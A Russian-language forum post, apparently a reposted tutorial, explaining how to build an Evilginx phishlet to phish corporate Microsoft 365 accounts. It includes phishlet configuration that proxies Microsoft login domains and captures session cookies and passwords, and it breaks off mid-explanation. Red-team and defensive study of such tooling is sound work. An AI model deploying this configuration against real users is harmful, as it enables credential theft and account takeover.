- Регистрация
- 9 Май 2015
- Сообщения
- 1,483
- Баллы
- 155

Когда мне в ходе рабочего проекта понадобилось фишить корпоративные почты, я столкнулся с отсутствием руководства по созданию фишлета для Evilginx, а готовые как раз перестали работать из‑за изменений на сайте. Я решил, что это отличная возможность научиться разрабатывать свой фишлет. Нашей целью будет Microsoft 365.
Для создания фишлета нам понадобятся только две вещи:
- браузер (мой выбор пал на Firefox) или утилита, которая способна логировать запросы и ответы из браузера (Burp Suite);
- текстовый редактор для написания кода.
Все фишлеты Evilginx хранятся в директории утилиты, в папке phishlets. Если они в твоей версии где‑то в другом месте, то просто запусти Evilginx и принудительно укажи ему директорию с фишлетами: -p /phishlets_folder.
Прежде чем создавать свой фишлет, я бы хотел разобрать его структуру и подробнее рассказать про каждую из частей. Для начала посмотрим на дефолтный фишлет, который лежит в директории phishlets утилиты Evilginx на GitHub. На его основе мы разберем, за что отвечает каждая из частей фишлета, а более детальный анализ проведем на основе фишлета для сайта login.microsoftonline.com.
# Версия
min_ver: '3.0.0'
# Раздел, указывающий на субдомены, которые будут проксироваться
proxy_hosts:
- {phish_sub: 'academy', orig_sub: 'academy', domain: 'breakdev.org', session: true, is_landing: true, auto_filter: true}
# Раздел с правилами, которые позволят избежать нежелательных редиректов или изменить содержимое фишингового сайта, как тебе надо
sub_filters:
- {triggers_on: 'breakdev.org', orig_sub: 'academy', domain: 'breakdev.org', search: 'something_to_look_for', replace: 'replace_it_with_this', mimes: ['text/html']}
# Раздел, указывающий, какие куки будут «сворованы»
auth_tokens:
- domain: '.academy.breakdev.org'
keys: ['cookie_name']
# Раздел, указывающий, какие данные будут получены из запросов
credentials:
username:
key: 'email'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
# Легитимная страница авторизации на сайте
login:
domain: 'academy.breakdev.org'
path: '/evilginx-mastery'
В дефолтном фишлете не указаны такие разделы, как auth_urls и js_inject, но их мы пока отложим. В начале описания каждого модуля фишлета я для наглядности буду вставлять кусок кода, а дальше в ходе повествования показывать скриншоты. Ну что, начнем?
min_ver
Это первая часть фишлета, с которой ты будешь сталкиваться каждый раз. Эта строка отвечает за то, с какой именно версии утилиты будет работать фишлет (я предпочитаю указывать 3.0.0, однако видел, что, некоторые создатели фишлетов указывают 2.3.0).
proxy_hosts
В этом разделе описаны все поддомены и домены, которые будет обрабатывать Evilginx. Их трафик будет проксироваться через нашу утилиту. Это важный раздел: если не включить в список ни один сайт, то чейн нарушится и во время выполнения цепочки запросов случится переход на легитимный сайт.
Пример кода proxy_hosts:
proxy_hosts:
- { phish_sub: "login", orig_sub: "login", domain: "microsoftonline.com", session: true, is_landing: true, auto_filter: false }
- { phish_sub: "www", orig_sub: "www", domain: "office.com", session: true, is_landing: false, auto_filter: false }
- { phish_sub: "login1", orig_sub: "login", domain: "live.com", session: true, is_landing: false, auto_filter: false }
- { phish_sub: "account", orig_sub: "account", domain: "live.com", session: true, is_landing: false, auto_filter: false }
- { phish_sub: "outlook", orig_sub: "outlook", domain: "live.com", session: true, is_landing: false }
- {phish_sub: '', orig_sub: '', domain: 'office.com', session: true, is_landing: false, auto_filter: true}
Ты, возможно, спросишь, что значат параметры session, is_landing и auto_filter. Что ж, непонимание в работе с Evilginx иногда губительно, так что расскажу!
Если для session задано значение true, то хосты, обрабатывающие HTML-контент основного сайта, гарантированно возвращают ответы с сессионными куками, учетными данными или любой другой важной информацией, которую нужно сохранить.
Источник: